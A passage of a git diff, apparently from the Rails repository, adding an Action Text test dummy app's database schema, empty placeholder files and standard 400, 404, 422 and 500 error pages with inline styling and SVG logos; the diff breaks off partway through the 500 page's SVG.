+# This file is the source Rails uses to define your schema when running `bin/rails
+# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
+# be faster and is potentially less error prone than running all of your
+# migrations from scratch. Old migrations may fail to apply correctly if those
+# migrations use external dependencies or application code.
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema[8.2].define(version: 2019_03_17_200724) do
+  create_table "action_text_rich_texts", force: :cascade do |t|
+    t.string "name", null: false
+    t.text "body"
+    t.string "record_type", null: false
+    t.integer "record_id", null: false
+    t.datetime "created_at", null: false
+    t.datetime "updated_at", null: false
+    t.index ["record_type", "record_id", "name"], name: "index_action_text_rich_texts_uniqueness", unique: true
+  end
+
+  create_table "active_storage_attachments", force: :cascade do |t|
+    t.string "name", null: false
+    t.string "record_type", null: false
+    t.integer "record_id", null: false
+    t.integer "blob_id", null: false
+    t.datetime "created_at", precision: nil, null: false
+    t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id"
+    t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true
+  end
+
+  create_table "active_storage_blobs", force: :cascade do |t|
+    t.string "key", null: false
+    t.string "filename", null: false
+    t.string "content_type"
+    t.text "metadata"
+    t.string "service_name", null: false
+    t.bigint "byte_size", null: false
+    t.string "checksum", null: false
+    t.datetime "created_at", precision: nil, null: false
+    t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true
+  end
+
+  create_table "active_storage_variant_records", force: :cascade do |t|
+    t.integer "blob_id", null: false
+    t.string "variation_digest", null: false
+    t.index ["blob_id", "variation_digest"], name: "index_active_storage_variant_records_uniqueness", unique: true
+  end
+
+  create_table "messages", force: :cascade do |t|
+    t.string "subject"
+    t.datetime "created_at", null: false
+    t.datetime "updated_at", null: false
+  end
+
+  create_table "pages", force: :cascade do |t|
+    t.string "title"
+    t.datetime "created_at", null: false
+    t.datetime "updated_at", null: false
+  end
+
+  create_table "people", force: :cascade do |t|
+    t.string "name"
+    t.datetime "created_at", null: false
+    t.datetime "updated_at", null: false
+  end
+
+  create_table "reviews", force: :cascade do |t|
+    t.integer "message_id", null: false
+    t.string "author_name", null: false
+    t.index ["message_id"], name: "index_reviews_on_message_id"
+  end
+
+  add_foreign_key "active_storage_attachments", "active_storage_blobs", column: "blob_id"
+  add_foreign_key "active_storage_variant_records", "active_storage_blobs", column: "blob_id"
+end
diff --git a/actiontext/test/dummy/lib/assets/.keep b/actiontext/test/dummy/lib/assets/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/log/.keep b/actiontext/test/dummy/log/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/public/400.html b/actiontext/test/dummy/public/400.html
new file mode 100644
index 0000000000000..f59c79ab82f05
--- /dev/null
+++ b/actiontext/test/dummy/public/400.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The server cannot process the request due to a client error (400 Bad Request)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/400.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" fill="#f0eff0"/><path d="m123.606 85.4445c3.212 1.0523 5.538 4.2089 5.538 8.0301 0 6.1472-4.209 9.5254-11.298 9.5254h-15.617v-34.0033h14.565c7.089 0 11.353 3.1566 11.353 9.2484 0 3.6551-2.049 6.3134-4.541 7.1994zm-12.904-2.9905h5.095c2.603 0 3.988-.9968 3.988-3.1013 0-2.1044-1.385-3.0459-3.988-3.0459h-5.095zm0 6.6456v6.5902h5.981c2.492 0 3.877-1.3291 3.877-3.2674 0-2.049-1.385-3.3228-3.877-3.3228zm43.786 13.9004h-8.362v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.083-2.769-9.083-8.0301 0-4.818 4.154-7.9193 9.581-7.9193 2.049 0 4.486.6646 5.483 1.3845v-1.606c0-1.606-.942-2.9905-3.046-2.9905-1.606 0-2.548.7199-2.935 1.8275h-8.197c.72-4.8181 4.985-8.6393 11.409-8.6393 7.088 0 11.131 3.7659 11.131 10.2453zm-8.362-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm27.996 6.9779v-1.994c-1.163 1.329-3.599 2.548-6.147 2.548-7.199 0-11.131-5.8151-11.131-13.0145s3.932-13.0143 11.131-13.0143c2.548 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.664-1.3291-2.159-2.326-3.821-2.326-2.99 0-4.763 2.4368-4.763 5.6488s1.773 5.5934 4.763 5.5934c1.717 0 3.157-.9415 3.821-2.326zm35.471-2.049h-3.101v11.2421h-8.806v-34.0033h15.285c7.31 0 12.35 4.1535 12.35 11.5744 0 5.1503-2.603 8.6947-6.757 10.2453l7.975 12.1836h-9.858zm-3.101-15.2849v8.1962h5.538c3.156 0 4.596-1.606 4.596-4.0981s-1.44-4.0981-4.596-4.0981zm36.957 17.8323h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm30.98 27.5234v-10.799c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.9259-11.132-13.0145 0-7.144 3.932-13.0143 11.132-13.0143 2.547 0 4.984 1.2184 6.147 2.5475v-1.9937h8.695v33.726zm0-17.9981v-6.5902c-.665-1.3291-2.105-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.661 0 3.156-.9415 3.821-2.326zm36.789-15.7279v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.996 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm19.084 16.2263h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.963 5.095 11.963 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm13.428 11.0206h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.762-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm27.538-.8861v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.993-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.871 0-9.193-2.769-9.193-9.0819z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The server cannot process the request due to a client error.</strong> Please check the request and try again. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/actiontext/test/dummy/public/404.html b/actiontext/test/dummy/public/404.html
new file mode 100644
index 0000000000000..26d16027c6a4c
--- /dev/null
+++ b/actiontext/test/dummy/public/404.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The page you were looking for doesn't exist (404 Not found)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/404.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm165.328-35.41581-45.689 100.02991h26.224v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.184v-31.901l50.285-103.27391z" fill="#f0eff0"/><path d="m157.758 68.9967v34.0033h-7.199l-14.233-19.8814v19.8814h-8.584v-34.0033h8.307l13.125 18.7184v-18.7184zm28.454 21.5428c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm13.184 3.8766v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm37.027 8.5839h-8.806v-34.0033h23.924v7.6978h-15.118v6.7564h13.9v7.5316h-13.9zm41.876-12.4605c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm35.337-12.4605v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.997 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm4.076 24.921v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.156.9969-3.6 2.7136v15.0634zm44.113 0v-1.994c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.8151-11.132-13.0145s3.932-13.0143 11.132-13.0143c2.547 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.665-1.3291-2.16-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.717 0 3.156-.9415 3.821-2.326z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The page you were looking for doesn't exist.</strong> You may have mistyped the address or the page may have moved. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/actiontext/test/dummy/public/422.html b/actiontext/test/dummy/public/422.html
new file mode 100644
index 0000000000000..ed5a5805d0e5f
--- /dev/null
+++ b/actiontext/test/dummy/public/422.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The change you wanted was rejected (422 Unprocessable Entity)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/422.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm130.453 51.63681c0-8.9215-6.218-15.4099-15.681-15.4099-10.273 0-15.95 7.5698-16.491 16.4913h-44.608c3.244-30.8199 25.683-55.421707 61.099-55.421707 36.498 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.869 36.7676-31.901 52.7186l-27.305 27.035h59.747v37.308h-120.306v-27.846l57.044-56.7736c11.084-11.8954 18.925-20.0059 18.925-29.7385zm140.455 0c0-8.9215-6.218-15.4099-15.68-15.4099-10.274 0-15.951 7.5698-16.492 16.4913h-44.608c3.245-30.8199 25.684-55.421707 61.1-55.421707 36.497 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.87 36.7676-31.902 52.7186l-27.305 27.035h59.747v37.308h-120.305v-27.846l57.043-56.7736c11.085-11.8954 18.925-20.0059 18.925-29.7385z" fill="#f0eff0"/><path d="m19.3936 103.554c-8.9715 0-14.84183-5.0952-14.84183-14.4544v-20.1029h8.86083v19.3276c0 4.8181 2.2706 7.3102 5.981 7.3102 3.6551 0 5.9257-2.4921 5.9257-7.3102v-19.3276h8.8608v20.1583c0 9.3038-5.8149 14.399-14.7865 14.399zm18.734-.554v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm36.8584-1.994v10.799h-8.6946v-33.726h8.6946v1.9937c1.163-1.3291 3.5997-2.5475 6.1472-2.5475 7.1994 0 11.1314 5.8703 11.1314 13.0143 0 7.0886-3.932 13.0145-11.1314 13.0145-2.5475 0-4.9842-1.219-6.1472-2.548zm0-13.7893v6.5902c.6646 1.3845 2.1599 2.326 3.8213 2.326 2.9905 0 4.7626-2.3814 4.7626-5.5934s-1.7721-5.6488-4.7626-5.6488c-1.7168 0-3.1567.9969-3.8213 2.326zm36.789-9.2485v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.6949v-24.921h8.6949v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm10.352 0c0-7.6978 5.095-13.0143 12.571-13.0143 6.701 0 10.855 3.9874 11.574 9.8023h-8.417c-.222-1.4953-1.385-2.6029-3.157-2.6029-2.437 0-3.987 2.2706-3.987 5.8149s1.55 5.7595 3.987 5.7595c1.772 0 2.935-1.0522 3.157-2.5475h8.417c-.719 5.7596-4.873 9.8025-11.574 9.8025-7.476 0-12.571-5.3167-12.571-13.0145zm42.013 3.7658h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.544-3.5997zm13.428 11.0206h8.473c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.938-1.5506l-4.874-.9969c-4.153-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.74-8.2518zm24.269 0h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm47.918 7.6978h-8.363v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm20.742 4.9839v1.994h-8.695v-35.997h8.695v13.0697c1.163-1.3291 3.6-2.5475 6.147-2.5475 7.2 0 11.132 5.8149 11.132 13.0143s-3.932 13.0145-11.132 13.0145c-2.547 0-4.984-1.219-6.147-2.548zm0-13.7893v6.5902c.665 1.3845 2.105 2.326 3.821 2.326 2.991 0 4.763-2.3814 4.763-5.5934s-1.772-5.6488-4.763-5.6488c-1.661 0-3.156.9969-3.821 2.326zm28.759-20.2137v35.997h-8.695v-35.997zm19.172 27.3023h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm25.461-15.2849h24.311v7.6424h-15.561v5.3165h14.232v7.4763h-14.232v5.8703h15.561v7.6978h-24.311zm27.942 34.0033v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.157.9969-3.6 2.7136v15.0634zm29.991-8.5839v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.942 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm26.161-16.3371v24.921h-8.694v-24.921zm.61-6.7564c0 2.8244-2.271 4.652-4.929 4.652s-4.929-1.8276-4.929-4.652c0-2.8797 2.271-4.7073 4.929-4.7073s4.929 1.8276 4.929 4.7073zm5.382 23.0935v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm29.22 17.3889h-8.584l3.655-9.414-9.303-24.312h9.026l4.763 14.1773 4.652-14.1773h8.639z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The change you wanted was rejected.</strong> Maybe you tried to change something you didn't have access to. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/actiontext/test/dummy/public/500.html b/actiontext/test/dummy/public/500.html
new file mode 100644
index 0000000000000..318723853a010
--- /dev/null
+++ b/actiontext/test/dummy/public/500.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>We're sorry, but something went wrong (500 Internal Server Error)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/500.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m101.23 93.8427c-8.1103 0-15.4098 3.7849-19.7354 8.3813h-36.2269v-99.21891h103.8143v37.03791h-68.3984v24.8722c5.1366-2.7035 15.1396-5.9477 24.6014-5.9477 35.146 0 56.233 22.7094 56.233 55.4215 0 34.605-23.791 57.315-60.558 57.315-37.8492 0-61.64-22.169-63.8028-55.963h42.9857c1.0814 10.814 9.1919 19.195 21.6281 19.195 11.355 0 19.465-8.381 19.465-20.547 0-11.625-7.299-20.5463-20.006-20.5463zm138.833 77.8613c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 